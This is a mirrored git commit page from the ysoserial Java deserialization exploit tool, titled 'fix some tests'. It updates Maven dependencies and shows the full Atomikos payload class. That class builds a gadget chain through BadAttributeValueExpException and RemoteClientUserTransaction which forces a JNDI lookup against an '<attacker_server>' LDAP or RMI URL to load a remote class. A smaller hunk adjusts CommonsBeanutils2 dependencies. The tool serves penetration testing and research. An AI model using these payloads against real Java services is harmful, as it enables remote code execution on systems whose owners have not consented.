mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
fix some tests
This commit is contained in:
@@ -332,9 +332,19 @@
|
|||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>com.atomikos</groupId>
|
<groupId>com.atomikos</groupId>
|
||||||
<artifactId>transactions-osgi</artifactId>
|
<artifactId>transactions-jta</artifactId>
|
||||||
<version>4.0.6</version>
|
<version>4.0.6</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.atomikos</groupId>
|
||||||
|
<artifactId>transactions-api</artifactId>
|
||||||
|
<version>4.0.6</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.atomikos</groupId>
|
||||||
|
<artifactId>atomikos-util</artifactId>
|
||||||
|
<version>4.0.6</version>
|
||||||
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.springframework</groupId>
|
<groupId>org.springframework</groupId>
|
||||||
<artifactId>spring-tx</artifactId>
|
<artifactId>spring-tx</artifactId>
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
/**
|
/**
|
||||||
*
|
*
|
||||||
* Gadget chain:
|
* Gadget chain:
|
||||||
*
|
*
|
||||||
* javax/management/BadAttributeValueExpException.readObject()
|
* javax/management/BadAttributeValueExpException.readObject()
|
||||||
* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
|
* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
|
||||||
* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
|
* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
|
||||||
@@ -29,48 +29,48 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
*
|
*
|
||||||
* This gadget chain was also discovered by pwntester:
|
* This gadget chain was also discovered by pwntester:
|
||||||
* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
|
* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
|
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
|
||||||
@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } )
|
@Dependencies( { "com.atomikos:transactions-jta:4.0.6", "com.atomikos:transactions-api:4.0.6", "com.atomikos:atomikos-util:4.0.6", "javax.transaction:jta:1.1" } )
|
||||||
@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
|
@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
|
||||||
public class Atomikos implements ObjectPayload<Object> {
|
public class Atomikos implements ObjectPayload<Object> {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
// validate command
|
// validate command
|
||||||
int sep = command.lastIndexOf('/');
|
int sep = command.lastIndexOf('/');
|
||||||
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
|
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
|
||||||
throw new IllegalArgumentException("Command format is: " + command
|
throw new IllegalArgumentException("Command format is: " + command
|
||||||
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
|
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
|
||||||
|
|
||||||
String url = command.substring(0, sep);
|
String url = command.substring(0, sep);
|
||||||
String className = command.substring(sep + 1);
|
String className = command.substring(sep + 1);
|
||||||
|
|
||||||
// create factory based on url
|
// create factory based on url
|
||||||
String initialContextFactory;
|
String initialContextFactory;
|
||||||
if (url.startsWith("ldap"))
|
if (url.startsWith("ldap"))
|
||||||
initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
|
initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
|
||||||
else
|
else
|
||||||
initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
|
initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
|
||||||
|
|
||||||
// create object
|
// create object
|
||||||
RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
|
RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
|
||||||
|
|
||||||
// set values using reflection
|
// set values using reflection
|
||||||
Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
|
Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
|
||||||
Reflections.setFieldValue(rcut, "providerUrl", url);
|
Reflections.setFieldValue(rcut, "providerUrl", url);
|
||||||
Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
|
Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
|
||||||
|
|
||||||
// create exception
|
// create exception
|
||||||
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
|
||||||
Reflections.setFieldValue(exception, "val", rcut);
|
Reflections.setFieldValue(exception, "val", rcut);
|
||||||
|
|
||||||
return exception;
|
return exception;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static void main ( final String[] args ) throws Exception {
|
public static void main ( final String[] args ) throws Exception {
|
||||||
PayloadRunner.run(Atomikos.class, args);
|
PayloadRunner.run(Atomikos.class, args);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import java.util.PriorityQueue;
|
|||||||
// Origin Detective is PHITHON From
|
// Origin Detective is PHITHON From
|
||||||
// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
|
// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
|
||||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"})
|
||||||
@Authors({Authors.K4n5ha0})
|
@Authors({Authors.K4n5ha0})
|
||||||
public class CommonsBeanutils2 implements ObjectPayload<Object> {
|
public class CommonsBeanutils2 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user